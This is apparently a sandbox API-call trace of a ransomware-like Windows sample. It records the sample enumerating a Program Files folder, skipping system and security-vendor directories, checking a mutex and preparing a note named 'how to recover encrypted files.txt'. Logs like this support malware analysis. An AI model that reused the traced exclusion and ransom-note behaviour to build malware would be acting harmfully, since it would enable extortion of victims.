MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0049.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0049.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18q")) returned 0xffffffff [0049.893] GetLastError () returned 0x2 [0049.893] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\Q\x90") returned 6 [0049.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0049.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@蜄T企@\x18?T\x18y")) returned 0xffffffff [0049.894] GetLastError () returned 0x2 [0049.894] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0049.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0049.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꍴR企@\x18?T\x18\x81")) returned 0xffffffff [0049.894] GetLastError () returned 0x2 [0049.895] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0049.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0049.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18\x88")) returned 0xffffffff [0049.895] GetLastError () returned 0x2 [0049.895] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0049.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0049.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@蜄T企@\x18?T\x18\x8f")) returned 0xffffffff [0049.895] GetLastError () returned 0x2 [0049.896] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0049.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0049.896] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꍴR企@\x18?T\x18\x97")) returned 0xffffffff [0049.896] GetLastError () returned 0x2 [0049.896] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0049.896] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.896] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.896] GlobalUnlock (hMem=0x44000c) returned 0 [0049.896] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.896] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.896] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.896] GlobalUnlock (hMem=0x44000c) returned 0 [0049.896] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.896] GlobalUnlock (hMem=0x440004) returned 0 [0049.897] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.897] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0049.897] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.897] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0049.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0049.897] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.897] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0049.897] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.897] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0049.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d80, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0049.898] GlobalLock (hMem=0x440004) returned 0x550170 [0049.898] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.898] GlobalUnlock (hMem=0x440004) returned 0 [0049.898] GlobalLock (hMem=0x440004) returned 0x550170 [0049.898] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.898] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.898] GlobalUnlock (hMem=0x440004) returned 0 [0049.898] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.898] GlobalUnlock (hMem=0x44000c) returned 0 [0049.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0049.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0049.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0049.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0049.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0049.899] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0049.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0049.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0049.901] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0049.901] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.901] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.901] GlobalUnlock (hMem=0x44000c) returned 0 [0049.901] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.901] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.901] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.901] GlobalUnlock (hMem=0x44000c) returned 0 [0049.901] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.901] GlobalUnlock (hMem=0x440004) returned 0 [0049.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0049.902] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.902] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0049.902] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0049.902] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.902] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.902] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.902] GlobalUnlock (hMem=0x440004) returned 0 [0049.902] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.902] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.902] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.902] GlobalUnlock (hMem=0x440004) returned 0 [0049.902] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.902] GlobalUnlock (hMem=0x44000c) returned 0 [0049.902] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.902] CharLowerBuffW (in: lpsz="MCABOUT.HTM", cchLength=0xb | out: lpsz="mcabout.htm") returned 0xb [0049.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0049.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpUsedDefaultChar=0x0) returned 73 [0049.903] CharLowerBuffW (in: lpsz=".HTM", cchLength=0x4 | out: lpsz=".htm") returned 0x4 [0049.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".htm", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".htmShared\\Smart Tag\\1033\\MCABOUT.HTM", lpUsedDefaultChar=0x0) returned 4 [0049.903] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0049.903] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.903] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.903] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.903] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.903] GlobalUnlock (hMem=0x44000c) returned 0 [0049.903] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.903] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.903] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.903] GlobalUnlock (hMem=0x44000c) returned 0 [0049.903] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.903] GlobalUnlock (hMem=0x440004) returned 0 [0049.903] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.904] CharLowerBuffW (in: lpsz="STINTL.DLL", cchLength=0xa | out: lpsz="stintl.dll") returned 0xa [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0049.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, 